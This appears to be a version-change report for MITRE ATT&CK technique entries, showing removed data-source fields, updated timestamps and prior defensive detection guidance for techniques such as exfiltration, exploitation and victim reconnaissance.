Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'WMI: WMI Creation', 'File: File Metadata', 'File: File Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Cloud Service: Cloud Service Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:28:46.740000+00:002025-10-24 17:49:15.866000+00:00
x_mitre_detectionMonitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. + +These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. + +Monitor for processes, API/System calls, and other common ways of manipulating these event repositories. + +Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. + +Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

[T1574.005] Hijack Execution Flow: Executable Installer File Permissions Weakness

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Service: Service Metadata', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:41.123000+00:002025-10-24 17:48:56.875000+00:00
x_mitre_detectionLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. + +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.

[T1480] Execution Guardrails

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:48.316000+00:002025-10-24 17:49:03.764000+00:00
x_mitre_detectionDetecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.

[T1048] Exfiltration Over Alternative Protocol

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Cloud Storage: Cloud Storage Access', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'File: File Access', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:54.894000+00:002025-10-24 17:49:10.460000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1048.002] Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:50.294000+00:002025-10-24 17:49:05.552000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)

[T1011.001] Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:35.466000+00:002025-10-24 17:48:51.095000+00:00
x_mitre_detectionMonitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. + +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.

[T1041] Exfiltration Over C2 Channel

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:51.597000+00:002025-10-24 17:49:06.675000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1011] Exfiltration Over Other Network Medium

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:29:20.961000+00:002025-10-24 17:48:47.042000+00:00
x_mitre_detectionMonitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. + +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.

[T1052] Exfiltration Over Physical Medium

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Drive: Drive Creation', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:17.041000+00:002025-10-24 17:49:32.547000+00:00
x_mitre_detectionMonitor file access on removable media. Detect processes that execute when removable media are mounted.

[T1048.001] Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:43.571000+00:002025-10-24 17:48:59.332000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) + +Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels.

[T1048.003] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:24.041000+00:002025-10-24 17:49:39.079000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + +For network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.

[T1567] Exfiltration Over Web Service

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:25.560000+00:002025-10-24 17:48:42.061000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.

[T1052.001] Exfiltration Over Physical Medium: Exfiltration over USB

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Drive: Drive Creation', 'File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:55.347000+00:002025-10-24 17:49:10.994000+00:00
x_mitre_detectionMonitor file access on removable media. Detect processes that execute when removable media are mounted.

[T1567.002] Exfiltration Over Web Service: Exfiltration to Cloud Storage

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:03.751000+00:002025-10-24 17:49:19.048000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.

[T1567.001] Exfiltration Over Web Service: Exfiltration to Code Repository

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:48.876000+00:002025-10-24 17:49:04.207000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.

[T1203] Exploitation for Client Execution

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Modification', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:03.090000+00:002025-10-24 17:49:18.695000+00:00
x_mitre_detectionDetecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

[T1212] Exploitation for Credential Access

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Process: Process Creation', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:30:06.288000+00:002025-10-24 17:49:08.674000+00:00
x_mitre_detectionDetecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.

[T1211] Exploitation for Defense Evasion

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:24.778000+00:002025-10-24 17:49:39.960000+00:00
x_mitre_detectionExploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.

[T1068] Exploitation for Privilege Escalation

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Driver: Driver Load', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:58.811000+00:002025-10-24 17:49:14.643000+00:00
x_mitre_detectionDetecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) + +Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.

[T1210] Exploitation of Remote Services

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:53.590000+00:002025-10-24 17:49:09.112000+00:00
x_mitre_detectionDetecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.

[T1588.005] Obtain Capabilities: Exploits

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:34:05.500000+00:002025-10-24 17:49:36.851000+00:00
x_mitre_detection +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

[T1587.004] Develop Capabilities: Exploits

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:33:51.026000+00:002025-10-24 17:49:17.967000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

[T1564.014] Hide Artifacts: Extended Attributes

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Metadata', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:42.110000+00:002025-09-17 17:58:26.729000+00:00
external_references[1]['description']kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.
x_mitre_attack_spec_version3.2.03.3.0

[T1491.002] Defacement: External Defacement

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'File: File Modification', 'File: File Creation', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:34:21.584000+00:002025-10-24 17:48:23.460000+00:00
x_mitre_detectionMonitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.

[T1055.011] Process Injection: Extra Window Memory Injection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:45:37.275000+00:002025-10-24 17:48:19.059000+00:00
x_mitre_detectionMonitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)

[T1008] Fallback Channels

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:21.879000+00:002025-10-24 17:49:35.854000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1568.001] Dynamic Resolution: Fast Flux DNS

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:09.378000+00:002025-10-24 17:48:33.501000+00:00
x_mitre_detectionIn general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.

[T1070.004] Indicator Removal: File Deletion

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:12.733000+00:002025-10-24 17:49:27.978000+00:00
x_mitre_detectionIt may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.

[T1083] File and Directory Discovery

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:44.118000+00:002025-10-24 17:49:00.036000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.

[T1222] File and Directory Permissions Modification

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:17.378000+00:002025-10-24 17:48:52.570000+00:00
x_mitre_detectionMonitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)

[T1592.003] Gather Victim Host Information: Firmware

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:36:31.208000+00:002025-10-24 17:49:16.957000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1495] Firmware Corruption

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Firmware: Firmware Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:22.991000+00:002025-10-24 17:49:37.207000+00:00
x_mitre_detectionSystem firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.

[T1606] Forge Web Credentials

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Web Credential: Web Credential Usage', 'Web Credential: Web Credential Creation', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:37:02.111000+00:002025-10-24 17:49:07.201000+00:00
x_mitre_detectionMonitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.

[T1056.002] Input Capture: GUI Input Capture

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:37:16.582000+00:002025-10-24 17:49:10.643000+00:00
x_mitre_detectionMonitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) + +Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.

[T1553.001] Subvert Trust Controls: Gatekeeper Bypass

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:16.087000+00:002025-10-24 17:48:36.535000+00:00
x_mitre_detectionThe removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. + +Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. + +QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)

[T1592] Gather Victim Host Information

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:37:32.347000+00:002025-10-24 17:48:21.583000+00:00
x_mitre_detectionInternet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1589] Gather Victim Identity Information

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:37:47.951000+00:002025-10-24 17:48:47.303000+00:00
x_mitre_detectionMonitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1590] Gather Victim Network Information

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:38:13.461000+00:002025-10-24 17:49:08.938000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1591] Gather Victim Org Information

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:38:32.343000+00:002025-10-24 17:49:06.846000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1558.001] Steal or Forge Kerberos Tickets: Golden Ticket

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:07.443000+00:002025-10-24 17:48:58.155000+00:00
